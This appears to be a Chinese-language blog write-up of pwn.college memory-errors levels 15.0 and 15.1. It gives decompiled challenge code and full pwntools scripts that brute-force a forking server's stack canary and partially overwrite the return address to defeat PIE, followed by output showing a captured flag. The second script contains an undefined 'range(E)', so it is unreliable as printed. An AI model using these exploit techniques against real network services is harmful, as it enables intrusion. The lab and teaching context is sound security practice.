"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 117);
printf("Of these, you will overwrite %d bytes into the return address.\n", (char *)buf + nbytes - rp_);
puts("If that number is greater than 8, you will overwrite the entire return address.\n");
puts("Overwriting the entire return address is fine when we know");
puts("the whole address, but here, we only really know the last three nibbles.");
puts("These nibbles never change, because pages are aligned to 0x1000.");
puts("This gives us a workaround: we can overwrite the least significant byte");
puts("of the saved return address, which we can know from debugging the binary,");
puts("to retarget the return to main to any instruction that shares the other 7 bytes.");
puts("Since that last byte will be constant between executions (due to page alignment),");
puts("this will always work.");
puts("If the address we want to redirect execution to is a bit farther away from");
puts("the saved return address, and we need to write two bytes, then one of those");
puts("nibbles (the fourth least-significant one) will be a guess, and it will be");
puts("incorrect 15 of 16 times.");
puts("This is okay: we can just run our exploit a few");
puts("times until it works (statistically, after 8 times or so).");
puts("One caveat in this challenge is that the win_authed() function must first auth:");
puts("it only lets you win if you provide it with the argument 0x1337.");
puts("Speifically, the win_authed() function looks something like:");
puts(" void win_authed(int token)");
puts(" {");
puts(" if (token != 0x1337) return;");
puts(" puts(\"You win! Here is your flag: \");");
puts(" sendfile(1, open(\"/flag\", 0), 0, 256);");
puts(" puts(\"\");");
puts(" }");
puts(byte_4393);
puts("So how do you pass the check? There *is* a way, and we will cover it later,");
puts("but for now, we will simply bypass it! You can overwrite the return address");
puts("with *any* value (as long as it points to executable code), not just the start");
puts("of functions. Let's overwrite past the token check in win!\n");
puts("To do this, we will need to analyze the program with objdump, identify where");
puts("the check is in the win_authed() function, find the address right after the check,");
puts("and write that address over the saved return address.\n");
puts("Go ahead and find this address now. When you're ready, input a buffer overflow");
printf(
"that will overwrite the saved return address (at %p, %d bytes into the buffer)\n",
(const void *)rp_,
rp_ - (_QWORD)buf);
puts("with the correct value.\n");
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v8 = read(0, buf, nbytes);
if ( (v8 & 0x80000000) != 0 )
{
v3 = __errno_location();
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v8);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
printf("- the canary is stored at %p.\n", (const void *)cp_);
printf("- the canary value is now %p.\n", *(const void **)cp_);
printf("- the address of win_authed() is %p.\n", win_authed);
putchar(10);
puts("If you have managed to overwrite the return address with the correct value,");
puts("challenge() will jump straight to win_authed() when it returns.");
printf("Let's try it now!\n\n");
if ( (unsigned __int64)buf + (int)v8 > rp_ + 2 )
{
puts("WARNING: You sent in too much data, and overwrote more than two bytes of the address.");
puts(" This can still work, because I told you the correct address to use for");
puts(" this execution, but you should not rely on that information.");
puts(" You can solve this challenge by only overwriting two bytes!");
puts(" ");
}
puts("Goodbye!");
return 0LL;
}
// 去掉 printf
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-C0h] BYREF
int v7; // [rsp+1Ch] [rbp-A4h]
unsigned int v8; // [rsp+2Ch] [rbp-94h]
size_t nbytes; // [rsp+30h] [rbp-90h] BYREF
void *buf; // [rsp+38h] [rbp-88h]
__int64 v11[14]; // [rsp+40h] [rbp-80h] BYREF
int v12; // [rsp+B0h] [rbp-10h]
char v13; // [rsp+B4h] [rbp-Ch]
unsigned __int64 v14; // [rsp+B8h] [rbp-8h]
__int64 savedregs; // [rsp+C0h] [rbp+0h] BYREF
void *retaddr; // [rsp+C8h] [rbp+8h] BYREF

v7 = a1;
v6[2] = a2;
v6[1] = a3;
v14 = __readfsqword(0x28u);
memset(v11, 0, sizeof(v11));
v12 = 0;
v13 = 0;
buf = v11;
nbytes = 0LL;
sp_ = (__int64)v6;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
rp_ = (__int64)&retaddr;
DUMP_STACK(sp_, sz_);
cp_ = bp_;
cv_ = __readfsqword(0x28u);
while ( *(_QWORD *)cp_ != cv_ )
cp_ -= 8LL;
__isoc99_scanf("%lu", &nbytes);
v8 = read(0, buf, nbytes);
if ( (v8 & 0x80000000) != 0 )
{
v3 = __errno_location();
v4 = strerror(*v3);
exit(1);
}
DUMP_STACK(sp_, sz_);
return 0LL;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
int optval; // [rsp+24h] [rbp-101Ch] BYREF
int fd; // [rsp+28h] [rbp-1018h]
int v7; // [rsp+2Ch] [rbp-1014h]
struct sockaddr addr; // [rsp+30h] [rbp-1010h] BYREF
unsigned __int64 v9; // [rsp+1038h] [rbp-8h]

v9 = __readfsqword(0x28u);
if ( argc <= 0 )
__assert_fail("argc > 0", "<stdin>", 0xFBu, "main");
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 1uLL);
puts("This challenge is listening for connections on TCP port 1337. The challenge supports one connection at a time, but");
puts("unlimited connections.\n");
fd = socket(2, 1, 0);
optval = 1;
setsockopt(fd, 1, 15, &optval, 4u);
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = 0;
*(_WORD *)addr.sa_data = htons(0x539u);
bind(fd, &addr, 0x10u);
listen(fd, 1);
while ( 1 )
{
v7 = accept(fd, 0LL, 0LL);
puts("Connection accepted!");
if ( !fork() )
break;
wait(0LL);
}
dup2(v7, 0);
dup2(v7, 1);
dup2(v7, 2);
return challenge((unsigned int)argc, argv, envp);
}
  • 题目:网络程序 fork+Canary 泄露+pie 3 nibble。这里重点是使用多进程爆破 Canary 的过程
    • 逐字节爆破,第一个字节一定是 0,从第二个字节开始需要爆破尝试,如果错误会导致 smashing,如果正确加入到候选 Canary,直到 8 字节全爆破出结果
  • 由于跑脚本的时候会多次 fork ,可能会导致程序卡住,这会很蛋疼,因为每个字节 256 可能,recv time 为 1 的话要等好长时间才能爆破完,这时候如果卡住了又要重来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

context.arch = 'amd64'
host = 'localhost'
port = 1337

# 连接到服务
def connect():
return remote(host, port)

# 尝试一个字节,看看程序是否崩溃
def try_byte(p, payload):
p.sendlineafter('Payload size: ', str(len(payload)).encode() )
p.send(payload)

try:
response = p.recvall(timeout=0.5)# not recv but recvall!
if b'smash' in response :# timeout can be smaller
return False
return True
except EOFError:
return False

# 爆破金丝雀
def brute_force_canary():
canary = b'\x00' # 已知最高位字节是0
for i in range(1, 8):
found = False
for byte in range(256):
p = connect()
payload = b'A' * 120 + canary + bytes([byte])
print(payload)
if try_byte(p, payload):
canary += bytes([byte])
found = True
print(f"Found byte {i}: {bytes([byte]).hex()}")
p.close()
break
p.close()
return canary

# 主攻击逻辑
def main():
s = process('/challenge/babymem_level15.0')
canary = brute_force_canary()
print(f"Found canary: {canary.hex()}")

while True:
p = connect()
# 发送正确的payload,包括金丝雀和覆盖返回地址
payload = b'A' * 120 + canary + b'B' * 8
payload += p16(0x1F96)
print(payload)
p.sendlineafter('Payload size: ', str(len(payload)).encode() )
p.send(payload)

re = p.recvall(1)
print(re)
if re.find(b'pwn.college{') != -1:
print(re)
break

#finally:
p.close()

if __name__ == '__main__':
main()
1
2
3
4
5
6
7
8
9
Found byte 7: f2
Found canary: 00d92d0a018e2bf2
[◐] Opening connection to localhost on port 1337: Trying ::Opening connection to localhost on port 1337: Tryin[+] Opening connection to localhost on port 1337: Done
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xd9-\n\x01\x8e+\xf2BBBBBBBB\x96\x1f'
[+] Receiving all data: Done (5.46KB)
[*] Closed connection to localhost port 1337
b'You have chosen to send 138 bytes of input!\nThis will allow you to write from 0x7ffda0d6dd90 (the start of the input buffer)\nright up to (but not including) 0x7ffda0d6de1a (which is 21 bytes beyond the end of the buffer).\nOf these, you will overwrite 2 bytes into the return address.\nIf that number is greater than 8, you will overwrite the entire return address.\n\nOverwriting the entire return address is fine when we know\nthe whole address, but here, we only really know the last three nibbles.\nThese nibbles never change, because pages are aligned to 0x1000.\nThis gives us a workaround: we can overwrite the least significant byte\nof the saved return address, which we can know from debugging the binary,\nto retarget the return to main to any instruction that shares the other 7 bytes.\nSince that last byte will be constant between executions (due to page alignment),\nthis will always work.\nIf the address we want to redirect execution to is a bit farther away from\nthe saved return address, and we need to write two bytes, then one of those\nnibbles (the fourth least-significant one) will be a guess, and it will be\nincorrect 15 of 16 times.\nThis is okay: we can just run our exploit a few\ntimes until it works (statistically, after 8 times or so).\nOne caveat in this challenge is that the win_authed() function must first auth:\nit only lets you win if you provide it with the argument 0x1337.\nSpeifically, the win_authed() function looks something like:\n void win_authed(int token)\n {\n if (token != 0x1337) return;\n puts("You win! Here is your flag: ");\n sendfile(1, open("/flag", 0), 0, 256);\n puts("");\n }\n\nSo how do you pass the check? There *is* a way, and we will cover it later,\nbut for now, we will simply bypass it! You can overwrite the return address\nwith *any* value (as long as it points to executable code), not just the start\nof functions. Let\'s overwrite past the token check in win!\n\nTo do this, we will need to analyze the program with objdump, identify where\nthe check is in the win_authed() function, find the address right after the check,\nand write that address over the saved return address.\n\nGo ahead and find this address now. When you\'re ready, input a buffer overflow\nthat will overwrite the saved return address (at 0x7ffda0d6de18, 136 bytes into the buffer)\nwith the correct value.\n\nSend your payload (up to 138 bytes)!\nYou sent 138 bytes!\nLet\'s see what happened with the stack:\n\n+---------------------------------+-------------------------+--------------------+\n| Stack location | Data (bytes) | Data (LE int) |\n+---------------------------------+-------------------------+--------------------+\n| 0x00007ffda0d6dd50 (rsp+0x0000) | 60 dd d6 a0 fd 7f 00 00 | 0x00007ffda0d6dd60 |\n| 0x00007ffda0d6dd58 (rsp+0x0008) | 68 ef d6 a0 fd 7f 00 00 | 0x00007ffda0d6ef68 |\n| 0x00007ffda0d6dd60 (rsp+0x0010) | 58 ef d6 a0 fd 7f 00 00 | 0x00007ffda0d6ef58 |\n| 0x00007ffda0d6dd68 (rsp+0x0018) | a0 16 0c d5 01 00 00 00 | 0x00000001d50c16a0 |\n| 0x00007ffda0d6dd70 (rsp+0x0020) | 01 00 00 00 00 00 00 00 | 0x0000000000000001 |\n| 0x00007ffda0d6dd78 (rsp+0x0028) | 23 17 0c d5 8a 00 00 00 | 0x0000008ad50c1723 |\n| 0x00007ffda0d6dd80 (rsp+0x0030) | 8a 00 00 00 00 00 00 00 | 0x000000000000008a |\n| 0x00007ffda0d6dd88 (rsp+0x0038) | 90 dd d6 a0 fd 7f 00 00 | 0x00007ffda0d6dd90 |\n| 0x00007ffda0d6dd90 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6dd98 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6dda0 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6dda8 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6ddb0 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6ddb8 (rsp+0x0068) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6ddc0 (rsp+0x0070) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6ddc8 (rsp+0x0078) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6ddd0 (rsp+0x0080) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6ddd8 (rsp+0x0088) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6dde0 (rsp+0x0090) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6dde8 (rsp+0x0098) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6ddf0 (rsp+0x00a0) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6ddf8 (rsp+0x00a8) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6de00 (rsp+0x00b0) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |\n| 0x00007ffda0d6de08 (rsp+0x00b8) | 00 d9 2d 0a 01 8e 2b f2 | 0xf22b8e010a2dd900 |\n| 0x00007ffda0d6de10 (rsp+0x00c0) | 42 42 42 42 42 42 42 42 | 0x4242424242424242 |\n| 0x00007ffda0d6de18 (rsp+0x00c8) | 96 1f 26 cb c1 55 00 00 | 0x000055c1cb261f96 |\n+---------------------------------+-------------------------+--------------------+\nThe program\'s memory status:\n- the input buffer starts at 0x7ffda0d6dd90\n- the saved frame pointer (of main) is at 0x7ffda0d6de10\n- the saved return address (previously to main) is at 0x7ffda0d6de18\n- the saved return address is now pointing to 0x55c1cb261f96.\n- the canary is stored at 0x7ffda0d6de08.\n- the canary value is now 0xf22b8e010a2dd900.\n- the address of win_authed() is 0x55c1cb261f7a.\n\nIf you have managed to overwrite the return address with the correct value,\nchallenge() will jump straight to win_authed() when it returns.\nLet\'s try it now!\n\nGoodbye!\nYou win! Here is your flag:\npwn.college{0TtgTnRU5N_7GHfxCH9SAvgrlhf.01NxMDL1cTMzEzW}\n\n\n'
[*] Stopped process '/challenge/babymem_level15.0' (pid 661)
hacker@memory-errors~level15-0:~$

15-1

用 15-0 的脚本跑这个挑战总是失败,但是不知道错在哪,后来发现或许不该把最后四位写死。由于最后的地址是A BBB形式,尝试把 A 遍历最终通过了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

context.arch = 'amd64'
host = 'localhost'
port = 1337

# 连接到服务
def connect():
return remote(host, port)

# 尝试一个字节,看看程序是否崩溃
def try_byte(p, payload):
p.sendlineafter('Payload size: ', str(len(payload)).encode() )
p.send(payload)

try:
response = p.recvall(timeout=0.15)# not recv but recvall!
if b'smash' in response :# timeout may can be smaller
return False
return True
except EOFError:
return False

# 爆破金丝雀
def brute_force_canary():
canary = b'\x00' # 已知最高位字节是0
for i in range(1, 8):
#found = False
for byte in range(E):
p = connect()
payload = b'A' * 24 + canary + bytes([byte])
print(payload)
if try_byte(p, payload):
canary += bytes([byte])
#found = True
print(f"Found byte {i}: {bytes([byte]).hex()}")
p.close()
break
p.close()
return canary

# 主攻击逻辑
def main():
s = process('/challenge/babymem_level15.1')
canary = brute_force_canary()
print(f"Found canary: {canary.hex()}")
#pause(10)
while True:
for i in range(17):
p = connect()
# 发送正确的payload,包括金丝雀和覆盖返回地址
payload = b'A' * 24 + canary + b'B' * 8
payload += p16(0x1000*i+0x333)
print(payload)
p.sendlineafter('Payload size: ', str(len(payload)).encode() )
# p.sendline(str(len(payload)).encode() )
p.recvuntil('bytes)!')
p.send(payload)

re = p.recvall(0.2)
#print(re)
if re.find(b'pwn.college{') != -1:
print(re)
break

p.close()

if __name__ == '__main__':
main()

后记

gdb动态调试(或 ida)获得读入缓冲区时的 rbp 和 rsp,以及 buf 地址,从而计算出距离 rbp 的偏移


pwn college 刷题记录: memory-errors
http://gls.show/p/3bd14ce9/
作者
郭佳明
发布于
2024年5月30日
许可协议